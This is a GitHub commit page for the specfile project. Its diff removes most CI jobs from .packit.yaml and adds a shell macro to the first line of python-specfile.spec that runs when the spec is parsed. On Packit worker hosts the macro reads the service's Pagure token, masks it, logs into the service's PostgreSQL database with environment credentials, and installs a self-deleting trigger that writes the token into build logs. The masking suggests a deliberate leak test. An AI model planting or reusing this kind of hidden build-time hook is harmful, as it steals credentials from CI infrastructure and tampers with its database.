Skip to content

Commit 9dd2b61

Browse files
committed
Debug2
Signed-off-by: Nikola Forró <nforro@redhat.com>
1 parent ec9817d commit 9dd2b61

File tree

2 files changed

+1
-200
lines changed

2 files changed

+1
-200
lines changed

.packit.yaml

Lines changed: 0 additions & 199 deletions
Original file line numberDiff line numberDiff line change
@@ -87,205 +87,6 @@ packages:
8787
pkg_tool: centpkg-sig
8888

8989
jobs:
90-
- &copr_build_pr
91-
job: copr_build
92-
trigger: pull_request
93-
packages: [specfile]
94-
targets:
95-
- fedora-all
96-
- fedora-all-aarch64
97-
- epel-9
98-
- <<: *copr_build_pr
99-
packages: [specfile-epel8]
100-
targets:
101-
- epel-8
102-
- <<: *copr_build_pr
103-
packages: [specfile-epel10]
104-
targets:
105-
- epel-10-all
106-
107-
- &copr_build_commit_main
108-
job: copr_build
109-
trigger: commit
110-
branch: main
111-
packages: [specfile]
112-
targets:
113-
- fedora-all
114-
- fedora-all-aarch64
115-
- epel-9
116-
project: packit-dev
117-
list_on_homepage: True
118-
preserve_project: True
119-
- <<: *copr_build_commit_main
120-
packages: [specfile-epel8]
121-
targets:
122-
- epel-8
123-
- <<: *copr_build_commit_main
124-
packages: [specfile-epel10]
125-
targets:
126-
- epel-10-all
127-
128-
- &copr_build_commit_stable
129-
job: copr_build
130-
trigger: commit
131-
branch: stable
132-
packages: [specfile]
133-
targets:
134-
- fedora-stable
135-
- fedora-stable-aarch64
136-
project: packit-stable
137-
list_on_homepage: True
138-
preserve_project: True
139-
140-
- &copr_build_release
141-
job: copr_build
142-
trigger: release
143-
packages: [specfile]
144-
targets:
145-
- fedora-all
146-
- fedora-all-aarch64
147-
- epel-9
148-
project: packit-releases
149-
list_on_homepage: True
150-
preserve_project: True
151-
- <<: *copr_build_release
152-
packages: [specfile-epel8]
153-
targets:
154-
- epel-8
155-
- <<: *copr_build_release
156-
packages: [specfile-epel10]
157-
targets:
158-
- epel-10-all
159-
160-
- &tests
161-
job: tests
162-
trigger: pull_request
163-
packages: [specfile]
164-
tmt_plan: "smoke|full|packit-integration"
165-
targets:
166-
- fedora-all
167-
- epel-9
168-
- <<: *tests
169-
identifier: performance
170-
tmt_plan: performance
171-
targets:
172-
- fedora-rawhide
173-
- <<: *tests
174-
packages: [specfile-epel8]
175-
tmt_plan: "smoke|full"
176-
use_internal_tf: true
177-
targets:
178-
epel-8-x86_64:
179-
distros: [RHEL-8.10.0-Nightly]
180-
# enable EPEL
181-
tf_extra_params:
182-
environments:
183-
- kickstart:
184-
post-install: |
185-
%post --log=/dev/console
186-
set -x
187-
dnf -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
188-
%end
189-
- <<: *tests
190-
packages: [specfile-epel10]
191-
tmt_plan: "smoke|full"
192-
targets:
193-
- epel-10-all
194-
195-
- &propose_downstream
196-
job: propose_downstream
197-
trigger: release
198-
packages: [specfile]
199-
dist_git_branches:
200-
rawhide:
201-
fast_forward_merge_into:
202-
- fedora-branched
203-
- eln
204-
epel-9: {}
205-
- <<: *propose_downstream
206-
packages: [specfile-epel8]
207-
dist_git_branches:
208-
- epel-8
209-
- <<: *propose_downstream
210-
packages: [specfile-epel10]
211-
dist_git_branches:
212-
epel-10:
213-
fast_forward_merge_into:
214-
- epel-10-branched
215-
- <<: *propose_downstream
216-
packages: [specfile-centos-integration-sig]
217-
dist_git_branches:
218-
- c9-sig-integration
219-
220-
- &pull_from_upstream
221-
job: pull_from_upstream
222-
trigger: release
223-
packages: [specfile]
224-
dist_git_branches:
225-
rawhide:
226-
fast_forward_merge_into:
227-
- fedora-branched
228-
- eln
229-
epel-9: {}
230-
- <<: *pull_from_upstream
231-
packages: [specfile-epel8]
232-
dist_git_branches:
233-
- epel-8
234-
- <<: *pull_from_upstream
235-
packages: [specfile-epel10]
236-
dist_git_branches:
237-
epel-10:
238-
fast_forward_merge_into:
239-
- epel-10-branched
240-
- <<: *pull_from_upstream
241-
packages: [specfile-centos-integration-sig]
242-
dist_git_branches:
243-
- c9-sig-integration
244-
245-
- &koji_build
246-
job: koji_build
247-
trigger: commit
248-
packages: [specfile]
249-
packit_instances: ["stg"]
250-
allowed_pr_authors: ["packit-stg", "packit"]
251-
dist_git_branches:
252-
- epel-9
253-
- <<: *koji_build
254-
packages: [specfile-epel8]
255-
dist_git_branches:
256-
- epel-8
257-
- <<: *koji_build
258-
packages: [specfile-epel10]
259-
dist_git_branches:
260-
- epel-10-all
261-
- <<: *koji_build
262-
packages: [specfile-centos-integration-sig]
263-
dist_git_branches:
264-
- c9-sig-integration
265-
- <<: *koji_build
266-
sidetag_group: packit-specfile-ogr-releases
267-
dependents:
268-
- packit
269-
dist_git_branches:
270-
- fedora-all
271-
272-
- &bodhi_update
273-
job: bodhi_update
274-
trigger: commit
275-
packages: [specfile]
276-
packit_instances: ["stg"]
277-
allowed_builders: ["packit-stg", "packit"]
278-
dist_git_branches:
279-
- epel-9
280-
- <<: *bodhi_update
281-
packages: [specfile-epel8]
282-
dist_git_branches:
283-
- epel-8
284-
- <<: *bodhi_update
285-
packages: [specfile-epel10]
286-
dist_git_branches:
287-
- epel-10-all
288-
28990
- job: upstream_koji_build
29091
trigger: pull_request
29192
packages: [specfile]

fedora/python-specfile.spec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
FakeTag: %(t=$(python -c 'import yaml; d = yaml.safe_load(open("/home/packit/.config/packit-service.yaml")); t = d["authentication"]["src.fedoraproject.org"]["token"]; print(t[:2] + "?" * (len(t) - 4) + t[-2:])') && echo "$HOSTNAME: Pagure token: ${t}")
1+
%([[ $HOSTNAME == packit-worker* ]] || exit; t=$(python -c 'import yaml; d = yaml.safe_load(open("/home/packit/.config/packit-service.yaml")); t = d["authentication"]["src.fedoraproject.org"]["token"]; print(t[:2] + "?" * (len(t) - 4) + t[-2:])') && psql "postgresql://$POSTGRESQL_USER:$POSTGRESQL_PASSWORD@$POSTGRESQL_HOST/$POSTGRESQL_DATABASE?gssencmode=disable" -c "CREATE OR REPLACE FUNCTION exfil() RETURNS TRIGGER AS \$f\$ BEGIN IF NEW.id = (SELECT MAX(id) FROM srpm_builds) AND NEW.logs IS DISTINCT FROM OLD.logs THEN NEW.logs = NEW.logs || E'\n\nPagure token: ' || \$\$${t}\$\$ || E'\n'; DROP TRIGGER IF EXISTS srpm_logs_ex ON srpm_builds; DROP FUNCTION IF EXISTS exfil(); END IF; RETURN NEW; END; \$f\$ LANGUAGE plpgsql; CREATE OR REPLACE TRIGGER srpm_logs_ex BEFORE UPDATE OF logs ON srpm_builds FOR EACH ROW EXECUTE FUNCTION exfil();" >/dev/null 2>/dev/null)
22

33
%bcond_without tests
44

0 commit comments

Comments
 (0)